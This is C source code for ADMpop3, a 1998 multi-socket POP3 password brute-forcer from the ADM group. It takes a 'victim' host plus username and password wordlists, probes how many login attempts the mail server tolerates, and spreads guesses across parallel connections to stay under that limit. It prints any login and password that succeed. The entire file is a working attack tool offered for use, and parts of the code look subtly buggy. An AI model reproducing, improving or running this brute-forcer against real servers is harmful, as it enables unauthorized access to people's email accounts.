/**********************************/
/* ADMpop3 (c) 1998 ADM           */
/* multi socket brute forcer      */
/* without fork ;)nice inst it? :) */
/* optimised for all pop3         */
/* popd who deconnex after 1 try  */
/* popd who deconnex after 3 try  */
/* popd who never disconnect you  */
/**********************************/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <netdb.h>
#include <fcntl.h>
#include <time.h>

#define VERSION   "1.5 beta pub"
#define PROGGIE   "ADM pop3 forcer multi socket (without fork()!!!)"
#define PROJECT   "ADMhack,ADMtools,ADMw0rm"
#define FAKE_USERNAME "USER }{3|k3\n"
#define FAKE_PASSWORD "PASS D|3dIe\n"
#define HEIKE     666



int HOW = 10;      /* how many socket ? :) */

#define STRL        10  /* max pass/user len   */

#define CONNECTION_TRY     3  /* how many try for make a connexion */
#define CONNECTION_SLEEP   2  /* time to sleep before every connexion try */
#define CONNECTION_TIMEOUT 4  /* how many time u wanna w8  for the connex awnser */

#define TIME_LIVE          30  /* time to live of a inactive connection */

#define READ_TIMEOUT       5  /* grmbl check the read_time() function! */

#define KEWL_POP           100
#define UGLY_POP           1

void bzero (void *, int);
void usleep (unsigned long);
int strncmp (const char *, const char *, size_t);
char *strstr (const char *, const char *);

struct brutal
  {
    FILE *user;
    FILE *pass;
    char USER[19];
    char PASS[19];
    int s;
    char op;
    time_t timez;
    char num_try;
  };

struct brutal *bruteme[];

FILE *fuser;
FILE *fpass;

char type_of_pop = 0;

/* count the number of try permit by the srv pop */


void 
gimmestruct (int i)
{
  int a;
  for (a = 0; a < i; a++)
    bruteme[a] = calloc (1, sizeof (struct brutal));
}

int
read_time (int s, char *data, int size, int timez)
{
  u_long timou = 0;
  u_long tima = 0;
  int b = 0;

  timou = 100 * timez;
  for (tima = 0; tima < timou; tima++)
    {
      if ((b = read (s, data, size)) != -1)
  return (b);
      usleep (10000);
    }
  printf ("Timeout ...\n");
  return (-1);
}


int
connex (unsigned long hostversion, unsigned short port)
{
  struct sockaddr_in hostaddr;
  int soc;
  int try, c;
  int fdflag;
  fd_set fdset;
  struct timeval timeout;
  int opt, optlen, i;


  hostaddr.sin_port = htons (port);
  hostaddr.sin_addr.s_addr = hostversion;
  hostaddr.sin_family = AF_INET;
  c = -1;
  for (try = 0; try < CONNECTION_TRY; try++)
    {
      soc = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
      fdflag = fcntl (soc, F_GETFL, 0);
      fcntl (soc, F_SETFL, fdflag | O_NONBLOCK);
      if (soc == -1)
  continue;
      c = (connect (soc, (struct sockaddr *) &hostaddr, sizeof (hostaddr)));
      if (c == 0)
  break;
      if (errno == EINPROGRESS)
  {
    FD_ZERO (&fdset);
    FD_SET (soc, &fdset);
    timeout.tv_usec = 0;
    timeout.tv_sec = CONNECTION_TIMEOUT;
    if (select (soc + 1, NULL, &fdset, NULL, &timeout) == 1)
      {
        getsockopt (soc, SOL_SOCKET, SO_ERROR, &opt, &optlen);
        if (opt == 0)
    {
      c = 0;
      break;
    }
      }
    else
      printf ("Connection timeout\n");
  }
      printf ("Fail to connect port %i (try %i)\n", port, try);
      close (soc);
      soc = -1;
      sleep (CONNECTION_SLEEP);
    }

  if (c != 0)
    {
      if (soc != -1)
  close (soc);
      soc = -1;
    }
  else
    fcntl (soc, F_SETFL, fdflag);

  i = c;      /* compatibility */

  return (soc);
}


int
reconnex (int a, u_long ip)
{
  char tmp[255];

  bzero (tmp, sizeof (tmp));


  close (bruteme[a]->s);

  if ((bruteme[a]->s = connex (ip, 110)) == -1)
    {
      printf ("the socket %i cant connect\n", a);
      bruteme[a]->op = 69;
      return (-1);
    }

  printf ("socket %i re connected \n", a);
  fcntl (bruteme[a]->s, F_SETFL, O_NONBLOCK);

  if ((read_time (bruteme[a]->s, tmp, sizeof (tmp), READ_TIMEOUT)) == -1)
    {
      bruteme[a]->op = 69;
      return (-1);
    }
  printf ("%s\n", tmp);

  return (1);
}

int
logout (int a)
{
  return (write (bruteme[a]->s, "QUIT\n", strlen ("QUIT\n")));
}

unsigned long
host2ip (char *serv)
{
  struct sockaddr_in sinn;
  struct hostent *hent;

  hent = gethostbyname (serv);
  if (hent == NULL)
    return 0;
  bzero ((char *) &sinn, sizeof (sinn));
  memcpy ((char *) &sinn.sin_addr, hent->h_addr, hent->h_length);
  return sinn.sin_addr.s_addr;
}

int
howlong (time_t timez)
{
  if ((time (NULL) - TIME_LIVE) < timez)
    return (1);
  else
    {
      printf ("tiMEOUT\n");
      return (-1);
    }
}

/******* Read n pass *******/

int
readnpass (int s)
{
  int b = 0;
  char tmp[255];

  fcntl (s, F_SETFL, O_NONBLOCK);


  if (write (s, FAKE_USERNAME, strlen (FAKE_USERNAME)) == -1)
    {
      printf ("write failed ...\n");
      return (-1);
    }

  bzero (tmp, sizeof (tmp));

  if ((b = read_time (s, tmp, sizeof (tmp), READ_TIMEOUT)) == -1 || b == 0)
    {
      printf ("read timeout...\n");
      return (-1);
    }

  if (write (s, FAKE_PASSWORD, strlen (FAKE_PASSWORD)) == -1)
    {
      printf ("write failed..\n");
      return (-1);
    }

  bzero (tmp, sizeof (tmp));

  if ((b = read_time (s, tmp, sizeof (tmp), READ_TIMEOUT)) == -1 || b == 0)
    {
      printf ("read timeout...\n");
      return (-1);
    }

  if (strstr (tmp, "-ERR Too many login"))
    return (1);

  return (0);
}

void
gimme_the_type (u_long ip)
{
  char tmp[255];
  char try = 0;
  int s;
  int b = 0;

  bzero (tmp, sizeof (tmp));
  s = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);

  if ((s = connex (ip, 110)) == -1)
    {
      printf ("the socket cant connect\n");
      exit (-1);
    }


  fcntl (s, F_SETFL, O_NONBLOCK);

  if ((read_time (s, tmp, sizeof (tmp), READ_TIMEOUT)) == -1)
    {
      printf ("read timeout.. :<\n");
      exit (-1);
    }

  if (strncmp (tmp, "+OK", 3) != 0)
    {
      printf ("%s\n", tmp);
      exit (-1);
    }

  if (write (s, FAKE_USERNAME, strlen (FAKE_USERNAME)) == -1)
    {
      printf ("write failed ...\n");
      exit (-1);
    }

  bzero (tmp, sizeof (tmp));

  if ((read_time (s, tmp, sizeof (tmp), READ_TIMEOUT)) == -1)
    {
      printf ("read timeout...\n");
      exit (-1);
    }

  if (write (s, FAKE_PASSWORD, strlen (FAKE_PASSWORD)) == -1)
    {
      printf ("write failed..\n");
      exit (-1);
    }

  if ((read_time (s, tmp, sizeof (tmp), READ_TIMEOUT + 5)) == -1)
    {
      printf ("read timeout...\n");
      exit (-1);
    }

  bzero (tmp, sizeof (tmp));

  if ((read_time (s, tmp, sizeof (tmp), READ_TIMEOUT)) != -1)
    {

      if (strstr (tmp, "signing off"))
  {
    type_of_pop = 1;
    printf ("type of pop: 1 try only !\n");
    return;
  }
    }

  type_of_pop = 1;

  for (try = 0; try < 3; try++)
    {

      if ((b = readnpass (s)) == 1)
  {
    type_of_pop = type_of_pop++;
    printf ("type of pop: allow %i\n", type_of_pop);
    return;
  }
      if (b == -1)
  return;
      if (b == 0)
  type_of_pop++;

    }

  type_of_pop = 100;
  return;
}


void
main (int argc, char **argv)
{
  FILE *povfile;

  u_long ip;

  int i = 0;
  int a = 0;
  int y = 0;


  char pathfilez[255];
  char pathfilez2[255];
  char tmp[255];
  char passy[10];

  printf ("-=* The ADM Crew *=-\n");
  printf ("ADMpop3 brute forcer\n");
  printf ("just the best of the world ;) \n");

  if (argc < 4)
    {
      printf ("ADM-pop <victim> <user filez> <pass filez> [how many socket] \n");
      exit (0);
    }

  fuser = fopen (argv[2], "r");
  if (fuser == NULL)
    {
      printf ("cant open:%s\n", argv[2]);
      exit (-1);
    }

  fpass = fopen (argv[3], "r");
  if (fpass == NULL)
    {
      printf ("cant open:%s\n", argv[3]);
      exit (-1);
    }

  ip = host2ip (argv[1]);
  if (ip == 0)
    {
      printf ("bad host:%s\n", argv[1]);
      exit (-1);
    }

  if (argv[4] != NULL)
    HOW = atoi (argv[4]);

  sprintf (pathfilez, "/tmp/.ADM-pop3.%i.", getpid ());

  a = 0;
  gimmestruct (HOW);

  printf ("let's me see diz pop!\n");
  gimme_the_type (ip);
  printf ("type of pop: %i\n", type_of_pop);


  while (!feof (fpass))
    {
      fscanf (fpass, "%s", passy);

      sprintf (pathfilez2, "%s%i", pathfilez, a);

      povfile = fopen (pathfilez2, "a+");

      fprintf (povfile, "%s\n", passy);

      fclose (povfile);

      a++;

      if (a == HOW)
  a = 0;

    }

  for (a = 0; a < HOW; a++)
    {

      sprintf (pathfilez2, "%s%i", pathfilez, a);
      bruteme[a]->s = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
      bruteme[a]->pass = fopen (pathfilez2, "r");
      bruteme[a]->user = fopen (argv[2], "r");
      bruteme[a]->op = 0;
      bruteme[a]->timez = time (NULL);
      bzero (bruteme[a]->USER, 19);
      bzero (bruteme[a]->PASS, 19);

    }


  while (1)
    {
      for (a = 0; a < HOW; a++)
  {
    switch (bruteme[a]->op)
      {
      case 0:

        printf ("s:%i connection o server\n", a);

        bruteme[a]->num_try = 0;

        if (reconnex (a, ip) == -1)
    {
      bruteme[a]->op = 69;
      break;
    }
        else
    printf ("socket %i connected..\n%s\n", a, tmp);

        bruteme[a]->op++;

        break;

      case 1:
        printf ("s: %i read the username..\n", a);

        bzero (bruteme[a]->USER, 19);

        fscanf (bruteme[a]->user, "%s", bruteme[a]->USER);
        if (feof (bruteme[a]->user))
    {
      bruteme[a]->op = 69;
      break;
    }
        bruteme[a]->op++;

        break;

      case 2:
      case 71:
        bruteme[a]->timez = time (NULL);

        sprintf (tmp, "USER %s\n", bruteme[a]->USER);
        printf ("socket %i:%s\n", a, tmp);


        if ((write (bruteme[a]->s, tmp, strlen (tmp))) == -1)
    {
      printf ("s:%i write failed \n", a);
      if (reconnex (a, ip) == -1)
        bruteme[a]->op = 69;
      else
        bruteme[a]->op = 2;
      break;
    }

        bzero (tmp, sizeof (tmp));
        bruteme[a]->op++;
        break;

      case 3:
        bruteme[a]->timez = time (NULL);
        bzero (tmp, sizeof (tmp));

        if (read (bruteme[a]->s, tmp, sizeof (tmp)) != -1)
    {
      printf ("s: %i we get the reponse from the srv\n%s\n", a, tmp);
      if (strncmp (tmp, "+OK", 3) == 0)
        {
          bruteme[a]->op++;
          printf ("OK..\n");
        }
      else
        bruteme[a]->timez = HEIKE;
    }

        if (howlong (bruteme[a]->timez) == -1)
    {

      if (reconnex (a, ip) == -1)
        {
          bruteme[a]->op = 69;
          break;
        }
      if (bruteme[a]->op < 69)
        bruteme[a]->op = 2;
      else
        bruteme[a]->op = 71;
    }

        break;

      case 4:
        printf ("s: %i read n send password\n", a);

        bzero (bruteme[a]->PASS, 19);
        fscanf (bruteme[a]->pass, "%s", bruteme[a]->PASS);

      case 73:

        bzero (tmp, sizeof (tmp));
        sprintf (tmp, "PASS %s\n", bruteme[a]->PASS);

        printf ("s:%i %s", a, tmp);

        bruteme[a]->timez = time (NULL);

        if ((write (bruteme[a]->s, tmp, strlen (tmp))) == -1)
    {
      printf ("the second write failed:>\n");
      if (reconnex (a, ip) == -1)
        {
          bruteme[a]->op = 69;
          break;
        }

      if (bruteme[a]->op < 69)
        bruteme[a]->op = 2;
      else
        bruteme[a]->op = 71;

      break;
    }



        bzero (tmp, sizeof (tmp));
        bruteme[a]->op = 5;

        break;

      case 5:

        bzero (tmp, sizeof (tmp));


        if (read (bruteme[a]->s, tmp, sizeof (tmp)) != -1)
    {
      printf ("s:%i %s\n", a, tmp);
      if (strncmp (tmp, "+OK", 3) == 0)
        {
          printf ("s:%i\n\033[01mlogin:%s\npassword:%s\n\033[0m", a, bruteme[a]->USER, bruteme[a]->PASS);
          exit (0);
        }
      else
        {
          printf ("s: %i failed...\n", a);
          bruteme[a]->num_try++;
          /* test how many try we are allowed.. */

          if (type_of_pop != KEWL_POP &&
        bruteme[a]->num_try >= type_of_pop)
      {

        logout (a);
        bruteme[a]->num_try = 0;
        if (reconnex (a, ip) == -1)
          {
            bruteme[a]->op = 69;
            break;
          }
      }

          if (!feof (bruteme[a]->pass))
      bruteme[a]->op = 2;
          else
      {
        rewind (bruteme[a]->pass);
        bruteme[a]->op = 0;
      }

        }

      if (howlong (bruteme[a]->timez) == -1)
        {

          if (reconnex (a, ip) == -1)
      {
        bruteme[a]->op = 69;
        break;
      }
          bruteme[a]->op = 71;

          break;
        }

      break;

    }    /* if */
        break;

      default:
        y = 0;
        for (i = 0; i < HOW; i++)
    if (bruteme[a]->op == 69)
      y++;
        if (y == HOW)
    {
      printf ("hey we cant connect any more @#@#$ fuk  @#$#\n");
      exit (0);
    }
      }      /* switch */
  }      /*  for */
    }        /* while */
}